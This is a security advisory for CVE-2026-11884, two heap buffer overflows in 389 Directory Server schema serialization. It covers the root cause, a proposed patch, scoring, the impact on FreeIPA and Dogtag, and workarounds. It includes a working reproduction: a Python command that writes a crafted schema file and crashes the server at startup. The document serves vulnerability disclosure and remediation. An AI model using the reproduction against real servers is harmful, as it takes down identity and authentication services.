Heap buffer overflow in schema objectclass serialization
- CVE ID
- CVE-2026-11884
- Product
- 389-ds-base
- Severity
- Moderate (6.5)
- CVSS Vector
- CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H
- CWE
- CWE-122
- Red Hat CVE
- Red Hat CVE page
Summary
Two heap buffer overflow vulnerabilities exist in the 389 Directory Server’s schema serialization code. Both are caused by the same root cause: the oc_superior (parent objectclass name) field is omitted from buffer size calculations but is subsequently written to the buffer via strcat(). An attacker with Directory Manager privileges can crash the LDAP server by creating objectclasses with long names and referencing them via the SUP directive. In replication topologies, a compromised supplier can crash all consumer replicas. Remote code execution is not feasible on x86_64 because the overflow content is restricted to ASCII printable characters. These are variants of CVE-2025-14905 that were not addressed by the original fix.
Variant 1 (read_schema_dse(), Finding 001): Triggered during schema DSE reads (any LDAP search of cn=schema). Overflow threshold: SUP >= 248 bytes (requires 2 attributes with ~3950-char names to force buffer reallocation past the 8192-byte initial sizedbuffer).
Variant 2 (schema_oc_to_string(), Finding 002): Triggered during schema replication comparison. Overflow threshold: SUP >= 62 bytes (lower barrier; uses a tighter 128-byte magic number with no sizedbuffer protection).
Affected Versions
The vulnerable code uses a magic-number-based size calculation pattern that has existed since the functions were created. The CVE-2025-14905 fix (commit 2e424110) modified only schema_attr_enum_callback() and did not touch either read_schema_dse() or schema_oc_to_string().
| Package | NVR (latest with CVE-2025-14905 fix) | Status |
|---|---|---|
| 389-ds-base (upstream) | 3.2.0-dev (HEAD, commit 4112762) | Vulnerable (confirmed) |
| 389-ds-base (Fedora 42) | 389-ds-base-3.1.2-4.fc42 | Vulnerable (confirmed — crash reproduced on 3.1.4-6.fc42) |
Affected Products
| Product | Version | 389-ds-base version | Status |
|---|---|---|---|
| 389 Directory Server (upstream) | All | 3.2.0-dev (HEAD) | Affected |
| Fedora | 40-42 | 3.0.x-3.1.x | Affected |
| CentOS Stream | 9, 10 | Matches upstream | Affected |
Architecture Validation
| Architecture | Tested | Result |
|---|---|---|
| x86_64 | YES | Variant 1: Startup crash (malloc(): invalid size (unsorted)) and remote LDAP crash on 389-ds-base-3.1.4-6.fc42.x86_64. Variant 2: SIGABRT at SUP >= 68 (malloc(): corrupted top size) on Fedora 42 (glibc 2.41). |
| aarch64 | YES | Variant 2: ASan heap-buffer-overflow confirmed on CentOS Stream 9 (GCC 11.5.0) in Podman container. |
Note: The root cause is a missing term in a buffer size calculation — a pure logic bug with no dependence on pointer size, alignment, or endianness. Expected to reproduce identically on all architectures.
Root Cause
Both variants share the same root cause: the oc_superior field is missing from the buffer size calculation but is written to the buffer.
Variant 1: read_schema_dse()
File: ldap/servers/slapd/schema.c:1765-1822
Function: read_schema_dse()
Size calculation (line 1765-1766) — missing oc_superior:
size = 256 + strlen_null_ok(oc->oc_oid) + strlen(oc->oc_name) +
strlen_null_ok(oc_description) + strcat_extensions(NULL, oc->oc_extensions);
Buffer write (lines 1808-1811) — writes oc_superior:
strcat(psbObjectClasses->buffer, "SUP ");
strcat(psbObjectClasses->buffer, (enquote_sup_oc ? "'" : ""));
strcat(psbObjectClasses->buffer, ((oc->oc_superior && *oc->oc_superior) ? oc->oc_superior : "top"));
strcat(psbObjectClasses->buffer, (enquote_sup_oc ? "'" : ""));
The 256-byte magic number covers fixed formatting keywords. With 2 attributes of ~3950 chars each (to force the sizedbuffer past its 8192-byte initial allocation), the effective headroom for oc_superior is approximately 247 bytes. SUP values >= 248 bytes overflow the buffer.
Variant 2: schema_oc_to_string()
File: ldap/servers/slapd/schema.c:5151-5239
Function: schema_oc_to_string()
Size calculation (lines 5155-5180) — missing oc_superior:
if (oc->oc_oid) size += strlen(oc->oc_oid);
if (oc->oc_name) size += strlen(oc->oc_name);
if (oc->oc_desc) size += strlen(oc->oc_desc);
// ... per-attribute strlen + 3 for MUST and MAY ...
size += strlen(schema_oc_kind_strings_with_spaces[oc->oc_kind]);
size += 128; /* for all keywords: NAME, DESC, SUP... */
Buffer write (lines 5196-5199) — writes oc_superior:
if (oc->oc_superior) {
strcat(oc_str, " SUP '");
strcat(oc_str, oc->oc_superior); // OVERFLOW
strcat(oc_str, "'");
}
The 128-byte magic number provides only ~62 bytes of headroom for oc_superior after fixed formatting overhead is consumed. SUP values >= 62 bytes overflow the buffer.
Relationship to CVE-2025-14905
CVE-2025-14905 was the same bug class in schema_attr_enum_callback(): alias string lengths were not included in the buffer size calculation. The fix (commit 2e424110) added itemized size calculation including asi_superior_strlen = strlen("SUP ") + strlen_null_ok(asip->asi_superior). This fix was not applied to read_schema_dse() or schema_oc_to_string().
Proposed Fix
Variant 1: read_schema_dse() (line 1765-1766)
// Before:
size = 256 + strlen_null_ok(oc->oc_oid) + strlen(oc->oc_name) +
strlen_null_ok(oc_description) + strcat_extensions(NULL, oc->oc_extensions);
// After:
size = 256 + strlen_null_ok(oc->oc_oid) + strlen(oc->oc_name) +
strlen_null_ok(oc_description) + strlen_null_ok(oc->oc_superior) +
strcat_extensions(NULL, oc->oc_extensions);
Variant 2: schema_oc_to_string() (before size += 128 at line 5180)
// Add before size += 128:
if (oc->oc_superior)
size += strlen(oc->oc_superior);
Defense-in-depth recommendation: Add a length limit on objectclass names in parse_oc_str() or schema_check_name() (which currently validates character set only, with no length check).
Proof of Concept
PoC source code: CVE-2026-11884 on GitHub
Six PoC files are provided in the poc/ directory:
Variant 1 PoCs
poc/poc_001_read_schema_dse.c — Standalone C replication of read_schema_dse() size calculation and strcat sequence. Compile and run to demonstrate the overflow without a live server.
gcc -fsanitize=address -g -o poc_001 poc/poc_001_read_schema_dse.c
./poc_001
poc/test_001_live.py — Live server injection script for the LDAP ADD path. Connects to a running 389 DS instance and injects crafted schema via ldapmodify to trigger a remote crash.
poc/poc_schema_overflow.c — Additional standalone PoC demonstrating the schema overflow pattern.
Variant 2 PoCs
poc/poc_002_schema_oc_to_string.c — Standalone C replication of schema_oc_to_string() for ASan builds. Demonstrates heap-buffer-overflow at SUP >= 62 bytes.
gcc -fsanitize=address -g -o poc_002 poc/poc_002_schema_oc_to_string.c
./poc_002 62
poc/poc_002_crash.c — Production binary crash PoC replicating schema_list_oc2learn() allocation pattern. Demonstrates SIGABRT at SUP >= 68 bytes on glibc 2.41.
gcc -O2 -o poc_002_crash poc/poc_002_crash.c
./poc_002_crash 68
ASan Trace
poc/asan-trace-002-live.txt — Captured AddressSanitizer trace from live reproduction on CentOS Stream 9.
Manual Reproduction (Schema File Injection)
The simplest reproduction requires no PoC binary. Place the following generated 99user.ldif in /etc/dirsrv/slapd-<instance>/schema/ and restart the server:
python3 -c "
ATTR1 = 'a' * 3950
ATTR2 = 'b' * 3950
SUP = 'C' * 300
print(f'''dn: cn=schema
attributeTypes: ( 9.9.9.8.11 NAME '{ATTR1}' SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 X-ORIGIN 'user defined' )
attributeTypes: ( 9.9.9.8.12 NAME '{ATTR2}' SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 X-ORIGIN 'user defined' )
objectClasses: ( 9.9.9.9.20 NAME '{SUP}' SUP top STRUCTURAL MUST cn X-ORIGIN 'user defined' )
objectClasses: ( 9.9.9.9.21 NAME 'OverflowOC' SUP {SUP} STRUCTURAL MAY ( {ATTR1} \$ {ATTR2} ) X-ORIGIN 'user defined' )''')
" > /etc/dirsrv/slapd-test/schema/99user.ldif
Expected result: Server crashes during startup with malloc(): invalid size (unsorted). Exact boundary: SUP_LEN=247 OK, SUP_LEN=248 CRASH.
Impact
CVSS 3.1: 6.5 Medium (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H)
| Component | Value | Justification |
|---|---|---|
| AV | Network | Triggered via LDAP protocol (ports 389/636) — schema modification, schema read, or replication |
| AC | Low | Deterministic; attacker controls schema content. No race conditions or guessing required. |
| PR | High | Requires Directory Manager (LDAP path) or replication agreement (replication path). |
| UI | None | Schema read (Variant 1) and replication (Variant 2) are automatic — no user interaction required |
| S | Unchanged | Impact is limited to the LDAP server process |
| C | None | No read primitive. Overflow content is ASCII-only (byte range 0x20-0x7A) and cannot construct valid x86_64 pointers. |
| I | High | Overflow corrupts heap data during schema serialization (Variant 1) and schema replication metadata (Variant 2). Corrupted schema output can affect all LDAP clients reading cn=schema. |
| A | High | Deterministic crash: malloc(): invalid size (unsorted) / malloc(): corrupted top size on glibc 2.41. Server dies and must be restarted. Variant 1 startup crash prevents server from starting until malicious schema is removed. |
Exploitability Analysis
The overflow content is restricted to ASCII printable characters ([A-Za-z0-9 '()$.-_]). On x86_64 (all currently shipped platforms), any 8-byte value composed of ASCII bytes is a minimum of 0x2020202020202020, which is far above the valid userspace ceiling of 0x00007FFFFFFFFFFF. Corrupted pointers dereference to unmapped memory, resulting in SIGSEGV (DoS), not controlled redirection. Remote code execution via these overflows alone is not feasible on x86_64.
On 32-bit platforms (i686), ASCII bytes form valid userspace addresses and RCE would theoretically be feasible. However, 389-ds-base has not shipped on i686 since RHEL 7.
Blast Radius
389-ds-base is the LDAP backend for multiple products and services:
| Dependent Product | Relationship | Impact |
|---|---|---|
| IdM / FreeIPA | 389-ds-base is the core LDAP backend | A crash in 389-ds-base takes down all IdM services (Kerberos KDC depends on LDAP for principal lookup, SSSD depends on LDAP for user/group resolution). All domain-joined hosts lose authentication until the server restarts. |
| Dogtag Certificate System | 389-ds-base is a mandatory backend dependency | A crash takes down the CA, KRA, OCSP, TKS, and TPS subsystems. Certificate issuance and revocation checking stop. |
| Directory Server | IS 389-ds-base (with DS-specific configuration) | Direct impact — the product IS the vulnerable component. |
| IdM clients (SSSD) | Depend on 389-ds-base server for identity data | Clients lose identity resolution (user lookups, group membership, sudo rules) when the server crashes. Cached data provides temporary mitigation. |
In a FreeIPA/IdM deployment, a Directory Manager who crashes the LDAP server effectively takes down the entire identity domain. In multi-master replication topologies, Variant 2 (replication-triggered crash) can cascade across all replicas if a compromised supplier pushes malicious schema.
Workaround
No configuration knob exists to enforce a length limit on objectclass names or SUP values. The following operational controls reduce exposure:
- Restrict Directory Manager access: Audit and restrict
cn=Directory Managercredentials. Use ACI-based administration where possible. - Audit replication agreements: Ensure all replication partners are trusted. A compromised replica can inject malicious schema via the
schema_replace_objectclassesreplication path, bypassing all validation inadd_oc_internal(). - Monitor schema modifications: Enable the audit log (
nsslapd-auditlog: on) and monitor forcn=schemamodifications with unusually long objectclass names or SUP values:ldapsearch -x -H ldap://localhost -D "cn=Directory Manager" -W \ -b "cn=schema" -s base objectclasses | grep -i "SUP '" - Network segmentation: Restrict LDAP replication traffic to trusted networks. Ensure replication ports (389/636) are not exposed to untrusted networks.
Comparable CVEs
| CVE | Product | Bug Class | CVSS | Comparison |
|---|---|---|---|---|
| CVE-2025-14905 | 389-ds-base | Heap overflow in schema_attr_enum_callback (alias lengths) | 7.2 (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H) | Same root cause pattern. Rated 7.2 with C:H. This advisory removes C:H due to ASCII charset constraint, giving 6.5. |
| CVE-2024-1062 | 389-ds-base | Heap overflow in auditlog.c | 5.5 (AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H) | Different function, same product. Lower CVSS due to AV:L and I:L. |
Timeline
| Date | Event |
|---|---|
| 2026-04-14 | Discovered during 389-ds-base security assessment |
| 2026-04-15 | Reported to vendor |
| TBD | Patch released |
| TBD | Public disclosure |
References
- Red Hat CVE page
- NVD
- CVE-2025-14905 (parent vulnerability)
- CVE-2025-14905 fix: commit 2e424110 — modified only
schema_attr_enum_callback() - CWE-122: Heap-based Buffer Overflow
- CVSS 3.1 Calculator
- Upstream repository: 389ds/389-ds-base
Credits
Discovered by Ian Murphy